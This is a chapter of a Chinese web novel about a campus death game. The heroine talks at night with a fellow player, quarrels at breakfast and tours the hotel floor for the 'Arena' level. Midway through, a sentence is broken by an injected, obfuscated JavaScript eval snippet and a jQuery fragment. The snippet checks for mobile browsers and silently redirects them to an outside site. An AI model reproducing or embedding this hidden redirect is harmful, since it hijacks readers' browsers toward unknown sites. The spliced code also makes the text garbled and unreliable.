24. 角逐场1
作品:《早八暂停,全校大逃亡》 进入彼岸那天的兔子又卷土重来了吗。
悻悻悻——
悻悻悻——
兔脸在陈怡静眼前慢慢放大,她逐渐听到大兔子急促而尖锐的喘气声,还有裹在风里似有若无的笑声。
【心智-1】
然后是很多很多只巨型兔子一齐从草丛各处钻了出来,尖叫着扑向了她。
撕扯着她,啃噬着她。
陈怡静不知道为什么自己在害怕的时候,发不出声音,嗓子像是被锁住了。
——被兔子淹没的那一刻,陈怡静猛然睁开了眼。
【心智-1】
她下意识地摸了摸自己的身体,没发现任何伤口,还是脱力地瘫倒在一边。
静了一会儿。
她看了看时间,凌晨2点多。
不再睡了。
陈怡静起身喝了两口水便离开了房间,出去散心。
凌晨的走廊和白天的走廊无异,还是点着些幽暗的烛灯,她走到楼梯口,发现三楼大厅有些微弱的光透出来。
陈怡静贴着扶手下楼,还没走到最后一级台阶,便看见了金怀墨的身影。
【手术师金怀墨:心智值86功德值未解锁生命值100钻石0彼岸币2250】
他坐在靠角落的桌子上,旁边的侧灯亮着。
“嗯……?你居然在啊?”
当时她没听到酒店播报,以为他走了呢。
不过看他上一关那懒癌发作的劲,估计出门又嫌麻烦地回来了吧。
“陈怡静,你也在这呢?难得。”金怀墨淡笑了一下。
“嗯,刚结束了一关,懒得走了。”陈怡静走近了,才看见他桌上摆着一杯热茶,还放着一本加缪的《局外人》,“你在看书?”
金怀墨说:“大概十几分钟前在看吧。”
“不睡觉吗?”她又问。
金怀墨坦然道:“还不困。”
不困是因为他白天净是睡觉了吧?
这人活得可真是昼夜颠倒。
陈怡静说:“你活的时区跟我们不一样是吧。”
金怀墨只笑,起身给她端来杯具,往里斟了一杯热红茶:“在这里能遇到,也算是缘分吧。”
“这缘分可太孽了。”陈怡静接了句。
热气飘上来,茶香悠悠漾开。
两人都没说话,大厅过分的安静。
陈怡静寻思着是不是要找些话题,便说:“呃,那个……”
那个之后没有后续。
她这个人平时垃圾话像垃圾一样多,但那都是她自然而然流露出来的废话,真要到了社交的时候她还是有些头痛要找什么话题。
金怀墨没等到她踌躇的下文,把茶杯朝她一推:“没话说的时候,不用尬聊。”
“哦。”
大概是看她应得简洁,担心她会觉得尴尬。金怀墨向前靠向桌子,手指搭在他的茶杯上,又说:“我以前也是很怕冷场的那种人。总觉得一冷场就坐立不安,老是和别人尬聊。”
陈怡静能清晰地记起他和所有人热络的样子。
她之前难以将那种奕奕有神和他现在的沉静孤僻重合在一起。但她现在已经知道那只是一种社交面具。他不用再装着亲切热忱,或许是他对自己本来面目的接纳。
“在我看来你和任何人聊天,别人都不会觉得不适。”陈怡静说。
微暗的灯光照拂他的脸颊,柔和地勾勒出他的轮廓与蒙着雾色的双眸,白日那种疏离淡漠好像褪去了一些。
“但我后来很少勉强自己和别人交流了。”金怀墨说,“很多自己原以为重要的事,比如满足长辈的期待、维持体面的人际关系、追求世俗的优秀,比起照顾自己的内心世界来说,其实都不重要。”
“……”
上一关他说他和她是同类。
直到现在,陈怡静后知后觉地认同了他。
他那些为众人羡慕的优秀大概造就了他难以忍受的枷锁。但他自小便习惯了满足周遭的期待而生活,在曲折的现实里把自我燃烧殆尽。
金怀墨喝了口茶:“其实我还蛮喜欢这儿的,在这里只要玩游戏就好了。”
陈怡静想想也是:“嗯,只要把生死置之度外,在这里就无敌了吧。”
话说不知道彼岸有没有应届大学生落户的政策?
“你会想通关游戏吗?”金怀墨问。
“没有那种宏图壮志,我现在只是想活下去。”
金怀墨觉得她的话有意思:“不通关游戏,又怎么活下去呢?”
“暂时活着而已。”
“暂时?”金怀墨沉吟,“你玩游戏也不是为了回到人间,而是暂时活下去?”
“对,我只有暂时活下去的理由。”
“那是什么,能说吗?”
“如果你问的话。”
金怀墨看了眼时钟:“凌晨三点,应该没什么是不能问的吧?”
陈怡静为他这种清奇的思路发笑,但因为此时正值凌晨三点,不清醒才是正常,她受用他的说法,开口道:“第一关被一个不认识的同学救了一命,感觉很快挂了的话,有点辜负他的好意。后来,又和一个朋友约好要活到见面。所以,至少现在有充分的理由要活下去吧。”
金怀墨了然。
在此之后他们相对而坐,他翻开读了三遍的《局外人》继续读,陈怡静则向露台外望去。
那种无边无际的黑暗涌动在山野之间,乌云密布的天空中隐约透出微弱的白光。
凌晨的风吹打着细削的树枝,把她的睡意带过来。
她就这么趴在桌上又睡去了。
【心智+1】
-
“小——怡——静——”
陈怡静的心脏像是被人捏了一下。
她猛然睁开双眼坐了起来,随之全身酸痛大作,她哀嚎道:“啊我的脖子,啊我的腰间盘,
啊我的骨头——”
陈怡静揉着自己疑似落枕的脖颈,戴上眼镜,一言难尽地看向在自己眼前吃起早饭的江亦奇。
睡之前对面是爆戳审美点的crush,睡醒之后对面变成爆踩雷点的crash。
这种感觉,真是——
“我跟你问好,你就拿这种便秘表情来看我?”
——没错,就是便秘感!
陈怡静发自内心地点头:“便秘如果是个牌子,我一定支持你去当品牌大使。”
江亦奇说:“一天到晚都是一副半死不活的样子。真是不知道你怎么活到现在的。”
“不知道我怎么活的你自己去死一死不就好了。”
“哼!”江亦奇用力地切开吐司送进自己嘴里,“跟你简直没话好说。”
陈怡静抓起白色餐盘里的三明治,故意张大嘴巴咬了一大口,满意地看着被自己咬出来的横截面。
这一点显然让江亦奇抓狂,他极度嫌弃道:“你就不能淑女一点吗?有刀叉不用还空手抓?你原始人吗?而且你刚睡醒,牙刷过了吗?你爱干净点会死吗?我看见你这样就没胃口。”
陈怡静又对着他咬了一大口。
“死陈怡静,你恶心死了!”江亦奇端起自己的餐盘又拿起咖啡,迅速地坐到离陈怡静五米远的桌上,背对着她坐下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494596|169406||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。
陈怡静满意地吃完恶心人的早饭,回房间洗漱一番,差不多十点。
陈怡静又躺倒在床上,看着天花板发发呆,这样一来又消磨掉半个小时。
她滚到床尾,伸手拽过自己好久没打开的书包,拖到床上。
陈怡静的书包是很简洁的款式,没有夹层,不过容量还行,里头乱七八糟地装着些暂时没派上用场的东西。她掏出皮筋,把头发扎起来,又背上书包,走出房门。
/尊敬的客人,请问是否确定退房?/
她按下“确定”按钮,就朝着电梯走去。
此前搭乘电梯时,并没有六层和七层的选项,不过现在,在“5”之上,又多了两个数字。
电梯在六层停住,门朝双侧打开时,陈怡静听到系统的提示。
/玩家陈怡静,你好,这里是下一关的游戏会场,欢迎参观/
映入眼帘的是一个宽敞明亮的门厅,角落摆着一株盆栽,走近细看,碧绿的叶片上还沁着水珠。
她踏入长廊,木制的长廊将室内的几个房间隔绝开来,两侧挂有几个边长半米左右的画框,画框里是空的,没有画。
陈怡静向左边走到底,拐角处有间书房,身前又是不断向前延伸的走廊。她压下门把,朝书房探身一看。书房远比她想象的要大,足足有两层楼高,粗略一看大概有六七米。
屋内正中央摆着一张大书桌,几张椅子背门而立,三面墙上都镶着书架,一个取书的梯子靠在背面书架前。书房顶部正中有一扇天窗,并不明媚的天光从中洒落下来。
大概是因为游戏还没正式开始,书架上的书全都像打了码一样模糊。
陈怡静关上了门。
狭窄的走廊在绕过这个拐角后就豁然开朗,有些刺眼的光线从一旁的露台外扑进来。右手边多了几道门,门上挂着“厨房”“餐厅”“盆栽室”之类的指示牌。抬眼向前往,有个楼梯间,估计是通到七楼。
/本关游戏“角逐场”将于今晚六点开始,请各位玩家耐心等待/
整层楼回荡起系统的声音,同时陈怡静的手环一震。
【市民陈怡静,你的房间号为703,房间已经解锁】
703的房门口挂着“3号”的牌子,这应该是她在本场游戏中的号码牌。
房间内的装潢不如之前豪华宽敞,古朴素雅的装饰,红木桌子乌木床,像是十几世纪时欧洲小镇上的住店,面积虽不大,但那种木质气息反倒让人安心几分。
窗前的桌子上已经摆好了午餐。
还冒着热气的罗宋汤色泽鲜美,烤肉和意面看上去也都让人食指大动。
陈怡静简单吃了些,再度回床铺上休息。
这里的隔音似乎不是很好,她闭着眼静息时,隐隐约约间能听见脚步声,有快速从自己的房前小跑过的,也有重而稳当地踏过去的。
也不知道第四关游戏,会不会碰到熟人。
-
角逐场·DAY1
【本关游戏还有十五分钟开始,请尽快前往餐厅集合】
陈怡静被彼岸小助手发出的提示震醒了。
她出门下楼,经过餐厅时,不经意瞥见那些空画框里已经出现了不同的人像画。
驻足一看,离她最近的这张画框里,是雷一名。
小助手又催起来了,陈怡静加快了脚步,往餐厅走去,那张空荡荡的长桌上已经坐满了人。
她泛泛一瞥,真的有不少熟人。
“哈啰,没想到你也在啊。”
蓝又庆靠在椅子上,长臂搭着身旁的椅背,懒散地朝她扬了扬手。